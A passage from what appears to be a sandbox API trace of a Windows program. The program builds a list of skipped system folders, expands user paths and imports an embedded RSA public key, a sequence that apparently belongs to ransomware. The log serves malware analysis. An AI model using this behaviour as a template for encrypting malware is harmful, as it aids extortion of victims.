(HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc750) returned 1 [0164.119] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd1e8) returned 1 [0164.119] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc708) returned 1 [0164.119] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd208) returned 1 [0164.119] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc6c0) returned 1 [0164.119] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd218) returned 1 [0164.119] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc678) returned 1 [0164.119] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd228) returned 1 [0164.119] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc630) returned 1 [0164.119] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd238) returned 1 [0164.119] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc5e8) returned 1 [0164.119] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd248) returned 1 [0164.119] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x425058) returned 1 [0164.119] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x422850) returned 1 [0164.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0164.119] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddae0 [0164.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc1f8, cbMultiByte=25, lpWideCharStr=0x1ddae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0164.119] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddb68 [0164.119] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1ddae0) returned 1 [0164.119] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1dd5e8 [0164.119] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd248 [0164.119] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddae0 [0164.119] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1ddb68) returned 1 [0164.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0164.119] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddb68 [0164.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc1b0, cbMultiByte=12, lpWideCharStr=0x1ddb68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddbf0 [0164.120] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1ddb68) returned 1 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd238 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddb68 [0164.120] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1ddbf0) returned 1 [0164.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddbf0 [0164.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc168, cbMultiByte=8, lpWideCharStr=0x1ddbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddc78 [0164.120] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1ddbf0) returned 1 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd228 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddbf0 [0164.120] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1ddc78) returned 1 [0164.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddc78 [0164.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc120, cbMultiByte=6, lpWideCharStr=0x1ddc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddd00 [0164.120] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1ddc78) returned 1 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd218 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddc78 [0164.120] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1ddd00) returned 1 [0164.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddd00 [0164.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc240, cbMultiByte=11, lpWideCharStr=0x1ddd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddd88 [0164.120] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1ddd00) returned 1 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x20) returned 0x1ddd00 [0164.120] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd5e8) returned 1 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd208 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dde28 [0164.120] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1ddd88) returned 1 [0164.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddeb0 [0164.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc0d8, cbMultiByte=7, lpWideCharStr=0x1ddeb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0164.120] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddf38 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1ddeb0) returned 1 [0164.121] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd1e8 [0164.121] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddeb0 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1ddf38) returned 1 [0164.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0164.121] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddf38 [0164.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc288, cbMultiByte=11, lpWideCharStr=0x1ddf38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0164.121] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddfc0 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1ddf38) returned 1 [0164.121] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd1f8 [0164.121] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1ddf38 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1ddfc0) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc1f8) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2c8) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc1b0) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2d8) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc168) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd298) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd288) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd278) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd268) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd258) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbc08) returned 1 [0164.121] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x2800) returned 0x422850 [0164.121] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.121] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1dd5e8 [0164.121] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd258 [0164.121] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.121] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd258) returned 1 [0164.121] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd5e8) returned 1 [0164.122] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x422850) returned 1 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x2800) returned 0x422850 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.122] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1dd5e8 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd258 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.122] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd268 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.122] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd278 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.122] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd288 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1dd618 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd298 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc168 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2d8 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1b0 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2c8 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1f8 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2e8 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc5e8 [0164.122] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.122] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd258) returned 1 [0164.122] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.122] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd268) returned 1 [0164.122] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.122] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd278) returned 1 [0164.122] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.122] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd288) returned 1 [0164.122] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd5e8) returned 1 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.122] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.122] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1dd5e8 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd288 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd278 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd268 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd258 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc168) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd298) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc1b0) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2d8) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc1f8) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2c8) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc5e8) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd2e8) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd618) returned 1 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1dd618 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2e8 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc5e8 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2c8 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1f8 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2d8 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1b0 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd298 [0164.123] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc168 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd288) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd278) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd268) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd258) returned 1 [0164.124] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd5e8) returned 1 [0164.124] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x422850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0164.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x422850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0164.124] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x422850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0164.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x422850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0164.124] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x422850, nSize=0x2800 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0164.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x422850, cbMultiByte=36, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 36 [0164.124] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x422850, nSize=0x2800 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2e [0164.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x422850, cbMultiByte=45, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0164.125] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x41fb78, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x41fb78, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0164.125] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x427cf8, pcbBinary=0x41fb78, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x427cf8, pcbBinary=0x41fb78, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0164.125] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x427cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x41fb78 | out: pvStructInfo=0x0, pcbStructInfo=0x41fb78) returned 1 [0164.129] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x427cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x427f40, pcbStructInfo=0x41fb78 | out: pvStructInfo=0x427f40, pcbStructInfo=0x41fb78) returned 1 [0164.129] CryptImportPublicKeyInfo (in: hCryptProv=0x7de7d0, dwCertEncodingType=0x10001, pInfo=0x427f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x427f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x427f78*, PublicKey.cUnusedBits=0x0), phKey=0x41fb7c | out: phKey=0x41fb7c*=0x7ddf90) returned 1 [0164.130] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x427f40) returned 1 [0164.130] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x427cf8) returned 1 [0164.131] ReleaseMutex (hMutex=0xa0) returned 1 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x425058) returned 1 [0164.131] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x2800) returned 0x425058 [0164.131] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc900 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc900) returned 1 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x425058) returned 1 [0164.131] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x2800) returned 0x425058 [0164.131] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc900 [0164.131] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc900) returned 1 [0164.131] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc900 [0164.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dc900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0164.131] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de1e0 [0164.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 